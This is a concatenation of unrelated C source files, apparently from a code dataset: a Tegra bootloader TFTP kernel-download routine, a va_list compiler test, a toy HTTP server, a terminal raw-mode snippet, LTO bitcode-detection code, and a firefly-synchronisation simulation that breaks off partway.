pr_error("Failed to acquire IP address via DHCP within timeout\n");
err = TEGRABL_ERROR(TEGRABL_ERR_TIMEOUT, AUX_INFO_DHCP_TIMEOUT);
goto fail;
}
tegrabl_mdelay(500);
dhcp_fine_tmr();
}
} else {
pr_info("Configure Static IP ...\n");
memcpy(&static_ip.addr, &info.static_ip, 4);
memcpy(&netmask.addr, &info.ip_netmask, 4);
memcpy(&gateway.addr, &info.ip_gateway, 4);
netif_set_addr(&netif, &static_ip, &netmask, &gateway);
netif_set_up(&netif);
}
ip_addr = (uint8_t *)(&(netif.ip_addr.addr));
pr_info("Our IP: %d.%d.%d.%d\n", ip_addr[0], ip_addr[1], ip_addr[2], ip_addr[3]);
fail:
return err;
}
static tegrabl_error_t download_kernel_from_tftp(uint8_t *tftp_server_ip,
void *boot_img_load_addr,
void *dtb_load_addr,
uint32_t *boot_img_size)
{
err_t ret = 0;
uint32_t retry;
tegrabl_error_t err = TEGRABL_NO_ERROR;
ret = tftp_client_init(tftp_server_ip);
if (ret != ERR_OK) {
pr_error("Failed to initialize TFTP client\n");
err = TEGRABL_ERROR(TEGRABL_ERR_INIT_FAILED, AUX_INFO_TFTP_CLIENT_INIT_FAILED);
goto fail;
}
retry = 0;
while (retry++ < TFTP_MAX_RRQ_RETRIES) {
ret = tftp_client_recv(KERNEL_DTB, "octet", dtb_load_addr, DTB_MAX_SIZE, NULL);
if (ret == ERR_OK) {
break;
} else if (ret == ERR_CONN) {
etharp_tmr();
tegrabl_mdelay(10);
continue;
} else if (ret != ERR_OK) {
pr_error("Failed to get %s\n", KERNEL_DTB);
err = TEGRABL_ERROR(TEGRABL_ERR_INVALID, AUX_INFO_DTB_RECV_ERR);
goto fail;
}
}
if (retry >= TFTP_MAX_RRQ_RETRIES) {
pr_error("Failed to send RRQ of %s within max retries\n", KERNEL_DTB);
err = TEGRABL_ERROR(TEGRABL_ERR_TIMEOUT, AUX_INFO_DTB_RD_REQ_TIMEOUT);
goto fail;
}
retry = 0;
while (retry++ < TFTP_MAX_RRQ_RETRIES) {
ret = tftp_client_recv(KERNEL_IMAGE, "octet", boot_img_load_addr, BOOT_IMAGE_MAX_SIZE, boot_img_size);
if (ret == ERR_OK) {
break;
} else if (ret == ERR_CONN) {
tegrabl_mdelay(10);
continue;
} else if (ret != ERR_OK) {
pr_error("Failed to get %s\n", KERNEL_IMAGE);
err = TEGRABL_ERROR(TEGRABL_ERR_INVALID, AUX_INFO_BOOT_IMAGE_RECV_ERR);
goto fail;
}
}
if (retry >= TFTP_MAX_RRQ_RETRIES) {
pr_error("Failed to send RRQ of %s within max retries\n", KERNEL_IMAGE);
err = TEGRABL_ERROR(TEGRABL_ERR_TIMEOUT, AUX_INFO_BOOT_IMAGE_RD_REQ_TIMEOUT);
goto fail;
}
fail:
tegrabl_eqos_deinit();
netif_set_down(&netif);
netif_remove(&netif);
return err;
}
tegrabl_error_t net_boot_load_kernel_images(void ** const boot_img_load_addr,
void ** const dtb_load_addr,
uint32_t * const boot_img_size)
{
struct ip_info info = {0};
tegrabl_error_t err = TEGRABL_NO_ERROR;
if ((boot_img_load_addr == NULL) || (dtb_load_addr == NULL)) {
pr_error("Invalid args passed\n");
goto fail;
}
info = tegrabl_get_ip_info();
*dtb_load_addr = (void *)tegrabl_get_dtb_load_addr();
err = tegrabl_get_boot_img_load_addr(boot_img_load_addr);
if (err != TEGRABL_NO_ERROR) {
goto fail;
}
err = download_kernel_from_tftp(info.tftp_server_ip, *boot_img_load_addr, *dtb_load_addr, boot_img_size);
if (err != TEGRABL_NO_ERROR) {
goto fail;
}
err = tegrabl_dt_set_fdt_handle(TEGRABL_DT_KERNEL, *dtb_load_addr);
if (err != TEGRABL_NO_ERROR) {
pr_error("Kernel-dtb init failed\n");
goto fail;
}
fail:
if (err != TEGRABL_NO_ERROR) {
TEGRABL_SET_HIGHEST_MODULE(err);
}
return err;
}
#endif /* CONFIG_ENABLE_ETHERNET_BOOT */
|
the_stack_data/95450577.c | // https://issues.dlang.org/show_bug.cgi?id=22597
typedef __builtin_va_list va_list;
int vsprintf(char *s, const char *format, va_list va);
int printf(const char *s, ...);
int test22597(const char *format, ...)
{
va_list va;
__builtin_va_start(va,format);
va_list va2;
__builtin_va_copy(va2, va);
const char *s = __builtin_va_arg(va, const char *);
if (*s != 'h')
{
printf("test22597 failed `%c`\n", *s);
return 1;
}
char buf[32];
int ret = vsprintf(buf, format, va2);
__builtin_va_end(va);
__builtin_va_end(va2);
return ret;
}
int main()
{
if (test22597(", %s!", "hello") != 8)
{
printf("test22597 failed\n");
return 1;
}
return 0;
}
|
the_stack_data/12638367.c | #include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <pthread.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
int main(int argc, const char *argv[])
{
int s, cs,x;
struct sockaddr_in server, client;
char msg[2000];
char *model = "GET /1.txt HTTP/1.1";
char *ok = "HTTP/1.0 200 OK\r\nContent-Length: 15\r\n\r\n";
char OK[2000] = {0};
char buf[1000] = {0};
char *no = "HTTP/1.0 404 FILE NOT FOUND\r\n\r\n";
FILE *fd;
if(!(fd = fopen("1.txt","r")))
{
printf("open 1.txt failed!\n");
return 1;
}
int m = 0;
while((x = fgetc(fd))!= EOF)
{
buf[m] = x;
m++;
}
strcat(OK,ok);
strcat(OK,buf);
//strcat(OK,"\r\n");
// create socket
if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror("create socket failed");
return -1;
}
printf("socket created");
// prepare the sockaddr_in structure
server.sin_family = AF_INET;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons(80);
// bind
if (bind(s,(struct sockaddr *)&server, sizeof(server)) < 0) {
perror("bind failed");
return -1;
}
printf("bind done");
// listen
listen(s, 3);
printf("waiting for incoming connections...");
// accept connection from an incoming client
int c = sizeof(struct sockaddr_in);
if ((cs = accept(s, (struct sockaddr *)&client, (socklen_t *)&c)) < 0) {
perror("accept failed");
return -1;
}
printf("connection accepted");
int msg_len = 0;
// receive a message from client
while ((msg_len = recv(cs, msg, sizeof(msg), 0)) > 0) {
// send the message back to client
printf("%s\n",msg);
/*
char message[20]={0};
for(int j = 0; j < 19; j++)
message[j] = msg[j];*/
char message[1000]={0};
strcat(message,msg);
for(int j = 19; j < strlen(msg);j++)
message[j] = 0;
printf("%s\n",message);
if(strcmp(message,model) == 0)
{
write(cs,OK,strlen(OK));
}
else write(cs,no,strlen(no));
//write(cs, msg, msg_len);
}
if (msg_len == 0) {
printf("client disconnected");
}
else { // msg_len < 0
perror("recv failed");
return -1;
}
return 0;
}
|
the_stack_data/15953.c | /* Editor Turorial
* http://viewsourcecode.org/snaptoken/kilo/
*/
#include <termios.h>
#include <unistd.h>
int main(void);
void enableRawMode(void);
void
enableRawMode()
{
struct termios raw;
tcgetattr(STDIN_FILENO, &raw);
raw.c_lflag &= ~(ECHO);
tcsetattr(STDIN_FILENO, TCSAFLUSH, &raw);
}
int
main()
{
char c;
while (read(STDIN_FILENO, &c, 1) == 1 && c != 'q');
return 0;
}
|
the_stack_data/2550.c | #ifdef LTO_SUPPORT
#include <stdio.h>
#include <stdlib.h>
#include <libc.h>
#include <sys/file.h>
#include <dlfcn.h>
#include <llvm-c/lto.h>
#include "ofile.h"
#include "lto.h"
#include "allocate.h"
#include <mach-o/nlist.h>
#include <mach-o/dyld.h>
static int get_lto_cputype(
struct arch_flag *arch_flag,
char *target_triple);
static int tried_to_load_lto = 0;
static void *lto_handle = NULL;
static int (*lto_is_object)(const void* mem, size_t length) = NULL;
static lto_module_t (*lto_create)(const void* mem, size_t length) = NULL;
static void (*lto_dispose)(void *mod) = NULL;
static char * (*lto_get_target)(void *mod) = NULL;
static uint32_t (*lto_get_num_symbols)(void *mod) = NULL;
static lto_symbol_attributes (*lto_get_sym_attr)(void *mod, uint32_t n) = NULL;
static char * (*lto_get_sym_name)(void *mod, uint32_t n) = NULL;
/*
* is_llvm_bitcode() is passed an ofile struct pointer and a pointer and size
* of some part of the ofile. If it is an llvm bit code it returns 1 and
* stores the lto module in the ofile lto field, and also sets the lto_cputype
* and lto_cpusubtype fields. If not it returns 0 and sets those fields to 0.
*/
__private_extern__
int
is_llvm_bitcode(
struct ofile *ofile,
char *addr,
size_t size)
{
struct arch_flag arch_flag;
/*
* If this is an llvm bitcode file these will be filled in.
*/
ofile->lto = NULL;
ofile->lto_cputype = 0;
ofile->lto_cpusubtype = 0;
/*
* The caller needs to be the one to set ofile->file_type to
* OFILE_LLVM_BITCODE or not. As the addr and size of of this
*"llvm bitcode file "could be in an archive or fat file.
*/
if(is_llvm_bitcode_from_memory(addr, size, &arch_flag,
&ofile->lto) != 0){
ofile->lto_cputype = arch_flag.cputype;
ofile->lto_cpusubtype = arch_flag.cpusubtype;
return(1);
}
return(0);
}
/*
* is_llvm_bitcode_from_memory() is passed a pointer and size of a memory
* buffer, a pointer to an arch_flag struct and an pointer to return the lto
* module if not NULL. If it the memory is an llvm bit code it returns 1 and
* sets the fields in the arch flag. If pmod is not NULL it stores the lto
* module in their, if not it frees the lto module. If the memory buffer is
* not an llvm bit code it returns 0.
*/
__private_extern__ int is_llvm_bitcode_from_memory(
char *addr,
uint32_t size,
struct arch_flag *arch_flag,
void **pmod) /* maybe NULL */
{
size_t bufsize;
char *p, *prefix, *lto_path, buf[MAXPATHLEN], resolved_name[PATH_MAX];
int i;
void *mod;
/*
* The libLTO API's can't handle empty files. So return 0 to indicate
* this is not a bitcode file if it has a zero size.
*/
if(size == 0)
return(0);
if(tried_to_load_lto == 0){
tried_to_load_lto = 1;
/*
* The design is rather lame and inelegant: "llvm support is only
* for stuff in /Developer and not the tools installed in /".
* Which would mean tools like libtool(1) run from /usr/bin would
* not work with lto, and work differently if the same binary was
* installed in /Developer/usr/bin . And if the tools were
* installed in some other location besides /Developer, like
* /Developer/Platforms/... that would also not work.
*
* So instead construct the prefix to this executable assuming it
* is in a bin directory relative to a lib directory of the matching
* lto library and first try to load that. If not then fall back to
* trying "/Developer/usr/lib/libLTO.dylib".
*/
bufsize = MAXPATHLEN;
p = buf;
i = _NSGetExecutablePath(p, &bufsize);
if(i == -1){
p = allocate(bufsize);
_NSGetExecutablePath(p, &bufsize);
}
prefix = realpath(p, resolved_name);
p = rindex(prefix, '/');
if(p != NULL)
p[1] = '\0';
lto_path = makestr(prefix, "../lib/libLTO.dylib", NULL);
lto_handle = dlopen(lto_path, RTLD_NOW);
if(lto_handle == NULL){
free(lto_path);
lto_path = NULL;
lto_handle = dlopen("/Developer/usr/lib/libLTO.dylib",
RTLD_NOW);
}
if(lto_handle == NULL)
return(0);
lto_is_object = dlsym(lto_handle,
"lto_module_is_object_file_in_memory");
lto_create = dlsym(lto_handle, "lto_module_create_from_memory");
lto_dispose = dlsym(lto_handle, "lto_module_dispose");
lto_get_target = dlsym(lto_handle, "lto_module_get_target_triple");
lto_get_num_symbols = dlsym(lto_handle,
"lto_module_get_num_symbols");
lto_get_sym_attr = dlsym(lto_handle,
"lto_module_get_symbol_attribute");
lto_get_sym_name = dlsym(lto_handle, "lto_module_get_symbol_name");
if(lto_is_object == NULL ||
lto_create == NULL ||
lto_dispose == NULL ||
lto_get_target == NULL ||
lto_get_num_symbols == NULL ||
lto_get_sym_attr == NULL ||
lto_get_sym_name == NULL){
dlclose(lto_handle);
if(lto_path != NULL)
free(lto_path);
return(0);
}
}
if(lto_handle == NULL)
return(0);
if(!lto_is_object(addr, size))
return(0);
mod = lto_create(addr, size);
if(mod == NULL)
return(0);
/*
* It is possible for new targets to be added to lto that are not yet
* known to this code. So we will try to get lucky and let them pass
* through with the cputype set to 0. This should work for things
* like libtool(1) as long as we don't get two different unknown
* targets. But we'll hope that just doesn't happen.
*/
arch_flag->cputype = 0;
arch_flag->cpusubtype = 0;
arch_flag->name = NULL;
(void)get_lto_cputype(arch_flag, lto_get_target(mod));
if(pmod != NULL)
*pmod = mod;
else
lto_free(mod);
return(1);
}
/*
* get_lto_cputype() takes an arch_flag pointer and the target_triple string
* returned from lto_module_get_target_triple() and sets the fields in the
* arch_flag. If it can parse and knows the strings values it returns 1 and
* the fields are set. Otherwise it returns 0 and the fields are not set.
*/
static
int
get_lto_cputype(
struct arch_flag *arch_flag,
char *target_triple)
{
char *p;
size_t n;
if(target_triple == NULL)
return(0);
p = index(target_triple, '-');
if(p == NULL)
return(0);
n = p - target_triple;
if(strncmp(target_triple, "i686", n) == 0 ||
strncmp(target_triple, "i386", n) == 0){
arch_flag->cputype = CPU_TYPE_I386;
arch_flag->cpusubtype = CPU_SUBTYPE_I386_ALL;
}
else if(strncmp(target_triple, "x86_64", n) == 0){
arch_flag->cputype = CPU_TYPE_X86_64;
arch_flag->cpusubtype = CPU_SUBTYPE_X86_64_ALL;
}
else if(strncmp(target_triple, "powerpc", n) == 0){
arch_flag->cputype = CPU_TYPE_POWERPC;
arch_flag->cpusubtype = CPU_SUBTYPE_POWERPC_ALL;
}
else if(strncmp(target_triple, "powerpc64", n) == 0){
arch_flag->cputype = CPU_TYPE_POWERPC64;
arch_flag->cpusubtype = CPU_SUBTYPE_POWERPC_ALL;
}
else if(strncmp(target_triple, "arm", n) == 0){
arch_flag->cputype = CPU_TYPE_ARM;
arch_flag->cpusubtype = CPU_SUBTYPE_ARM_V4T;
}
else if(strncmp(target_triple, "armv5", n) == 0 ||
strncmp(target_triple, "armv5e", n) == 0 ||
strncmp(target_triple, "thumbv5", n) == 0 ||
strncmp(target_triple, "thumbv5e", n) == 0){
arch_flag->cputype = CPU_TYPE_ARM;
arch_flag->cpusubtype = CPU_SUBTYPE_ARM_V5TEJ;
}
else if(strncmp(target_triple, "armv6", n) == 0 ||
strncmp(target_triple, "thumbv6", n) == 0){
arch_flag->cputype = CPU_TYPE_ARM;
arch_flag->cpusubtype = CPU_SUBTYPE_ARM_V6;
}
else if(strncmp(target_triple, "armv7", n) == 0 ||
strncmp(target_triple, "thumbv7", n) == 0){
arch_flag->cputype = CPU_TYPE_ARM;
arch_flag->cpusubtype = CPU_SUBTYPE_ARM_V7;
}
else if(strncmp(target_triple, "armv7f", n) == 0 ||
strncmp(target_triple, "thumbv7f", n) == 0){
arch_flag->cputype = CPU_TYPE_ARM;
arch_flag->cpusubtype = CPU_SUBTYPE_ARM_V7F;
}
else if(strncmp(target_triple, "armv7k", n) == 0 ||
strncmp(target_triple, "thumbv7k", n) == 0){
arch_flag->cputype = CPU_TYPE_ARM;
arch_flag->cpusubtype = CPU_SUBTYPE_ARM_V7K;
}
else{
return(0);
}
arch_flag->name = (char *)get_arch_name_from_types(arch_flag->cputype,
arch_flag->cpusubtype);
return(1);
}
/*
* lto_get_nsyms() returns the number of symbol in the lto module passed to it.
*/
__private_extern__
uint32_t
lto_get_nsyms(
void *mod)
{
return(lto_get_num_symbols(mod));
}
/*
* lto_get_nsyms() is passed an lto module and a symbol index in that module,
* and returns 1 if the symbol should be part of the archive table of contents
* or 0 if not. The parameter commons_in_toc is non-zero if tentative
* defintions are to be included in the table of contents and zero if not.
*/
__private_extern__
int
lto_toc_symbol(
void *mod,
uint32_t symbol_index,
int commons_in_toc)
{
lto_symbol_attributes attr;
attr = lto_get_sym_attr(mod, symbol_index);
if((attr & LTO_SYMBOL_SCOPE_MASK) == LTO_SYMBOL_SCOPE_INTERNAL)
return(0);
if((attr & LTO_SYMBOL_DEFINITION_MASK) ==
LTO_SYMBOL_DEFINITION_REGULAR ||
(attr & LTO_SYMBOL_DEFINITION_MASK) ==
LTO_SYMBOL_DEFINITION_WEAK)
return(1);
if((attr & LTO_SYMBOL_DEFINITION_MASK) ==
LTO_SYMBOL_DEFINITION_TENTATIVE &&
commons_in_toc)
return(1);
return(0);
}
/*
* lto_get_nlist_64() is used by nm(1) to fake up an nlist structure to used
* for printing. The "object "is assumed to have three sections, code: data,
* and rodata.
*/
__private_extern__
void
lto_get_nlist_64(
struct nlist_64 *nl,
void *mod,
uint32_t symbol_index)
{
lto_symbol_attributes attr;
memset(nl, '\0', sizeof(struct nlist_64));
attr = lto_get_sym_attr(mod, symbol_index);
switch(attr & LTO_SYMBOL_SCOPE_MASK){
case LTO_SYMBOL_SCOPE_INTERNAL:
break;
case LTO_SYMBOL_SCOPE_HIDDEN:
nl->n_type |= N_EXT;
nl->n_type |= N_PEXT;
break;
case LTO_SYMBOL_SCOPE_DEFAULT:
nl->n_type |= N_EXT;
}
if((attr & LTO_SYMBOL_DEFINITION_MASK) == LTO_SYMBOL_DEFINITION_WEAK)
nl->n_desc |= N_WEAK_DEF;
if((attr & LTO_SYMBOL_DEFINITION_MASK) ==
LTO_SYMBOL_DEFINITION_TENTATIVE){
nl->n_type |= N_EXT;
nl->n_type |= N_UNDF;
nl->n_value = 1; /* no interface to get the size */
}
if((attr & LTO_SYMBOL_DEFINITION_MASK) ==
LTO_SYMBOL_DEFINITION_UNDEFINED){
nl->n_type |= N_EXT;
nl->n_type |= N_UNDF;
}
else
switch(attr & LTO_SYMBOL_PERMISSIONS_MASK){
case LTO_SYMBOL_PERMISSIONS_CODE:
nl->n_sect = 1;
nl->n_type |= N_SECT;
break;
case LTO_SYMBOL_PERMISSIONS_DATA:
nl->n_sect = 2;
nl->n_type |= N_SECT;
break;
case LTO_SYMBOL_PERMISSIONS_RODATA:
nl->n_sect = 3;
nl->n_type |= N_SECT;
break;
}
}
/*
* lto_symbol_name() is passed an lto module and a symbol index in that module,
* and returns the name of that symbol.
*/
__private_extern__
char *
lto_symbol_name(
void *mod,
uint32_t symbol_index)
{
return(lto_get_sym_name(mod, symbol_index));
}
__private_extern__
void
lto_free(
void *mod)
{
lto_dispose(mod);
}
#endif /* LTO_SUPPORT */
|
the_stack_data/70450178.c | //
// firefly.c
// firefly
//
// Created by P B Richards on 11/3/19.
// Copyright © 2019 P B Richards
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
// 1. Redistributions of source code must retain the above copyright notice and this list of conditions.
// 2. Redistributions in binary form must reproduce the above copyright notice.
// 3: Public exhibitions of this code or its execution must cite its author.
//
// This program was built in Xcode on MacOS but may be compiled on Linux with the following command:
//
// gcc firefly.c -lm -lpthread -o firefly
//
// Editing the constants NFLIES and PULSEWIDTH below and recompiling produces interesting results.
// When this program is run, and the fireflies sync, it produces a file in the current
// working directory named "flyout.csv" this file contains the firing order timing and position
// of each of the flies for futher analysis.
//
// This code isn't written to production quality, sorry, it was a quick hack just to see what was possible.
/*
Mechanism of Rhythmic Synchronous Flashing of Fireflies
John Buck, Elisabeth Buck
Science 22 Mar 1968:
Vol. 159, Issue 3821, pp. 1319-1327
DOI: 10.1126/science.159.3821.1319
"In Thailand, male Pteroptyx malaccae fireflies, congregated in trees, flash in
rhythmic synchrony with a period of about 560 ± 6 msec (at 28° C). Photometric
and cinematographic records indicate that the range of flash coincidence is of
the order of ± 20 msec. This interval is considerably shorter than the minimum
eye-lantern response latency and suggests that the Pteroptyx synchrony is regulated
by central nervous feedback from preceding activity cycles, as in the human
"sense of rhythm," rather than by direct contemporaneous response to the flashes
of other individuals. Observations on the development of synchrony among Thai fireflies
indoors, the results of experiments on phase-shifting in the American Photinus pyralis
and comparisons with synchronization between crickets and between human beings are
compatible with the suggestion."
*/
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <math.h>
#include <pthread.h>
#include <stdint.h>
#define MAXROW 24 // How many rows and columns are there on the terminal
#define MAXCOL 79
// NOTE: Edit PULSEWITH to change how long a fly's light blinks
// Change NFLIES to increase or decrease how many there are >100 probably isn't useful
#define NFLIES 64 // how many fireflies to create
#define INTERVAL 1000 // the full duration of one cycle in milliseconds
#define PULSEWIDTH 175 // duration of the light on within one cycle (also milliseconds)
// some "wow I haven't played in terminal mode for 20 years!" commands
#define cls() printf("\x1b[2J");
#define cursorTo(row,col) printf("\x1b[%d;%dH",row,col);
#define clearToEOL() printf("\x1b[K");
#define reverseGreen() printf("\x1b[7;40;32m");
#define normalColor() printf("\x1b[0m");
// globals
int quitNow=0; // tells the threads to quit fireflying, (also synchronizes their start)
int lightOn[NFLIES]={0}; // whos lights are on ?
int masterClock=0; // this is the clock that the main routine uses
int lightOnTime[NFLIES]={0}; // This records when each fly turned their light on according to masterClock
char *bulb="✳️";
// This struct is used to produce the sorted firing order csv file
#define FlyAccounting struct flyAccountingStruct
FlyAccounting
{
int flyNo; // The number this fly was assigned
int onTime; // what time this fly turns on their light
int row; // row position of fly
int col; // column position of fly
};
// I can't think in nanoseconds so this is a wrapper to sleep in milliseconds
static void
sleepMilliseconds(int milliseconds)
{
struct timespec ts;
ts.tv_sec = milliseconds / 1000;
ts.tv_nsec = (milliseconds % 1000) * 1000000;
nanosleep(&ts, NULL);
}
// this is a fast random number generator that's good enough for our purposes here
pthread_mutex_t randLock; // randRange has a static that needs to be protected
static int
randInRange(int minVal,int maxVal)
{
static uint64_t x=0xCEEDBA11; // Seed the RNG it can't be 0
int val;
pthread_mutex_lock(&randLock); // protect x
x ^= x << 13; // xorshift32 randomizer (see wikipedia)
x ^= x >> 17;
x ^= x << 5;
pthread_mutex_unlock(&randLock); // x is out of the bathroom
val=(int)(x%(maxVal-minVal+1)+minVal);
return(val);
}
int distances[NFLIES][NFLIES]={0}; // matrix that records the distance between any two fireflies
int flyRowPosition[NFLIES]; // each fly's position on the terminal
int flyColPosition[NFLIES];
int canYouSeeMe[NFLIES][NFLIES]={0};// This matrix holds the blink status of between any two flies
pthread_mutex_t canYouSeeLock; // all the flies read and write to canYouSeeMe this constantly
#define iabs(x) ((x)<0?-(x):(x)) // integer absolute value
// places flies at random row and colum positions and also initializes the distance matrix
void
initFlyPositions()
{
int i,j;
float dy,dx;
for(i=0;i<NFLIES;i++) // place them at random on the terminal
{
flyRowPosition[i]=randInRange(1,MAXROW);
flyColPosition[i]=randInRange(1,MAXCOL);
for(j=0;j<i;j++) // make sure no two flies are in same position
if(flyRowPosition[j]==flyRowPosition[i]
&& flyColPosition[j]==flyColPosition[i]
) --i; // occupied, try again
}
for(i=0;i<NFLIES;i++) // init the distance matrix; I used Manhattan distance here once for fun
for(j=0;j<NFLIES;j++)
if(i==j)
distances[i][j]=0;
else
{
dx=flyColPosition[j]-flyColPosition[i];
dy=flyRowPosition[j]-flyRowPosition[i];
// to use Manhattan distance use the line below
// distances[i][j]=iabs((flyColPosition[j]-flyColPosition[i])+(flyRowPosition[j]-flyRowPosition[i]));
distances[i][j]=(int) sqrtf((dx*dx)+(dy*dy));
//distances[i][j]=0; // this removes distance as a factor entirely
}
}
// Sees if the light is on given the clock and the time the light is supposed to go on
int
isLightOn(int counter,int onTime,int offTime)
{
if(offTime>onTime) // if the off time doesn't wrap around 0
{
if(counter>=onTime && counter<offTime)
return(1);
return(0);
}
if(counter>=onTime || counter<offTime)
return(1);
return(0);
}
// this is the code for an individual firefly that factors distance
void *
remoteFirefly(void *arg)
{
int myFlyNo=*(int *)arg; // used as index into distance and
int counter=0;
float sumTimes=0.0;
float lightSeenCount=0.0;
int i;
int onTime=0;
int offTime=PULSEWIDTH;
int myLight=0;
while(quitNow) // synchronize the start by waiting for master thread to set this to 0
sleepMilliseconds(1);
sleepMilliseconds(randInRange(0,500)); // now wait some randomized amount of time before starting
while(!quitNow) // as long as the master thread doesn't set this to 0 keep going
{
if(counter==offTime)
{
lightOn[myFlyNo]=0;
myLight=0;
}
if(counter==onTime)
{
lightOn[myFlyNo]=1;
lightOnTime[myFlyNo]=masterClock;
myLight=1;
}
pthread_mutex_lock(&canYouSeeLock); // protect canYouSeeMe matrix
for(i=0;i<NFLIES;i++)
{
// A fly 5 units away won't see my light for 5 ticks of my counter
// So, if counter-distance is between onTime and offTime then they can see my light
int theirCounter=counter-distances[myFlyNo][i];
if(isLightOn(theirCounter,onTime,offTime))
canYouSeeMe[myFlyNo][i]=1;
else
canYouSeeMe[myFlyNo][i]=0;
if(i!=myFlyNo && canYouSeeMe[i][myFlyNo]) // if I see someone elses light
{
/*
++lightSeenCount;
sumTimes+=counter; // add when I saw the light to the sum
*/
float distance=distances[i][myFlyNo];
sumTimes+= ((float)counter*distance);
lightSeenCount+=(distance);
}
}
pthread_mutex_unlock(&canYouSeeLock); // unlock canYouSeeMe
if(counter++ ==INTERVAL)
{
int meanTime=(int)(sumTimes/lightSeenCount);
onTime=meanTime-(PULSEWIDTH>>1); // center of the pulse
if(onTime<0) // if above resulted in a clock underflow
onTime=INTERVAL+onTime;
offTime=(onTime+PULSEWIDTH)%INTERVAL;
sumTimes=0.0;
lightSeenCount=0;
counter=0;
}
sleepMilliseconds(1);
}
pthread_exit(NULL);
}
// compares two fly accounting stucts
int
faCmp(const void *va,const void *vb)
{
FlyAccounting *a=(FlyAccounting *)va;
FlyAccounting *b=(FlyAccounting *)vb;
if(a->onTime>b->onTime)
return(1);
if(a->onTime<b->onTime)
return(-1);
if(a->row>b->row)
return(1);
if(a->row<b->row)
return(-1);
if(a->col>b->col)
return(1);
if(a->col>b->col)
return(-1);
return(0);
}
// sees if all the flies are on at the same time
int
inSync()
{
int i,j;
int count=0;
for(i=0;i<NFLIES;i++)
for(j=0;j<NFLIES;j++)
if(canYouSeeMe[i][j])
++count;
if(count==NFLIES*NFLIES)
return(1);
return(0);
}
// this is the master thread for the distant fireflies
int
distantFireflies()
{
int i,j;
int id[NFLIES];
pthread_t tid[NFLIES];
initFlyPositions();
if(pthread_mutex_init(&randLock, NULL) != 0) // create a lock for the random number generator
{
printf("randLock mutex init has failed\n");
return 1;
}
if(pthread_mutex_init(&canYouSeeLock, NULL) != 0) // create a lock for the canYouSeeMe matrix
{
printf("canYouSeeLock mutex init has failed\n");
return 1;
}
quitNow=1;
for(i=0;i<NFLIES;i++) // create a bunch of independent firefly() threads
{
id[i]=i;
pthread_create(&tid[i], NULL,&remoteFirefly,(void *)&id[i]);
}
quitNow=0;
cls();
for(i=0;i<60000;i++) // watch the flies for a minute (based on 1ms loop time)
{
for(j=0;j<NFLIES;j++)
{
cursorTo(flyRowPosition[j],flyColPosition[j]);
/*
sprintf(s,"%d",j);
printf("%s", lightOn[j]?bulb:s);
*/
if(lightOn[j])
{
reverseGreen();
printf("%d",j);
normalColor();
}
else printf("%d",j);
fflush(stdout);
}
if(NFLIES<21)
{
int k;
cursorTo(1,MAXCOL+20);
for(k=0;k<NFLIES;k++)
printf("%d",k%10);
for(j=0;j<NFLIES;j++)
{
cursorTo(j+2,MAXCOL+18);
printf("%2d",j);
for(k=0;k<NFLIES;k++)
{
cursorTo(j+2,k+MAXCOL+20);
if(canYouSeeMe[j][k])
{
reverseGreen();
printf(" ");
normalColor();
}
else printf(".");
fflush(stdout);
}
}
}
cursorTo(MAXROW,MAXCOL+1);
fflush(stdout);
if(i>30000 && inSync())
break;
sleepMilliseconds(1);
++masterClock;
if(masterClock==INTERVAL)
masterClock=0;
}
quitNow=1; // instruct the firefly () threads to exit
FILE *wasStdout=stdout;
stdout=fopen("flyout.csv","w");
printf("\n");
for(i=0;i<NFLIES;i++)
printf("% 4d, % 2d, % 2d, % 2d\n",lightOnTime[i],i,flyRowPosition[i],flyColPosition[i]);
printf("\n");
fclose(stdout);
stdout=wasStdout;
FlyAccounting *fa=calloc(NFLIES,sizeof(FlyAccounting));
if(fa!=NULL)
{
for(i=0;i<NFLIES;i++) // copy the fly info into the stat struct
{
fa[i].flyNo=i;
fa[i].onTime=lightOnTime[i];
fa[i].row=flyRowPosition[i];
fa[i].col=flyColPosition[i];
}
qsort(fa,NFLIES,sizeof(FlyAccounting),faCmp); // sort by firing order of master thread clock
FILE *wasStdout=stdout; // redirect stdout for a second
stdout=fopen("flyout.csv","w");
printf("Time,N,Row,Col\n"); // make the csv file
for(i=0;i<NFLIES;i++)
printf("% 4d, % 2d, % 2d, % 2d\n",fa[i].onTime,fa[i].flyNo,fa[i].row,fa[i].col);
fclose(stdout);
stdout=wasStdout;
cursorTo(1,1);
printf("Firing Sequence replay in slow motion. Press [return] to continue.");
getchar();
for(j=0;j<2;j++)
{
cls();
for(i=0;i<NFLIES;i++)
{
cursorTo(fa[i].row,fa[i].col);
reverseGreen();
printf("%d",fa[i].flyNo);
normalColor();
fflush(stdout);
sleepMilliseconds(300);
cursorTo(fa[i].row,fa[i].col);
printf("%d",fa[i].flyNo);
}
}
free(fa);
}
sleepMilliseconds(INTERVAL*2); // wait long enough to ensure they're all dead
pthread_mutex_destroy(&randLock);
cursorTo(MAXROW+1,1);
printf("\n");
return 0;
return 1;
}
// From here to main() is the code for the first type of firefly
void *
firefly(void *arg)
{
int *myLight=(int *)arg;
int i;
int clock=0;
float lightSeenAt=0;
int lightCount=0;
int darkCount=0;
int turnMyLightOnAt=randInRange(0,500); // how many ms until I turn my light on
int myLightDuration=randInRange(PULSEWIDTH-5,PULSEWIDTH+5); // pick a number around the pulse time
int howLongHasMyLightBeenOn=0;
int myCycleTime=randInRange(INTERVAL-1,INTERVAL+1); // this isn't much variation
/* Note: myCycleTime is the "expected" group tempo if more math was done to adjust this fly's
cycle time dynamically to phase lock into all the other's flashes it should be paossible to
start with much more allowed variation in the initial myCycleTime
*/
sleepMilliseconds(randInRange(0,500)); // set my alarm clock to wake up at a different time from everyone else
while(!quitNow) // keep going until the master thread turns on the quit flag
{
if(clock==turnMyLightOnAt) // if it is time to turn my light on
*myLight=1;
if(*myLight) // if my light is on
{
++howLongHasMyLightBeenOn;
if(howLongHasMyLightBeenOn==myLightDuration)
{
*myLight=0;
howLongHasMyLightBeenOn=0;
}
}
for(i=0;i<NFLIES;i++)
{
if(i!=*myLight) // change to if(1) to count my own light or (i!=*myLight) to remove myself from the light count
{
if(lightOn[i])
{
lightSeenAt+=clock; // add the sum of the clock flash locations so we can get mean
++lightCount;
}
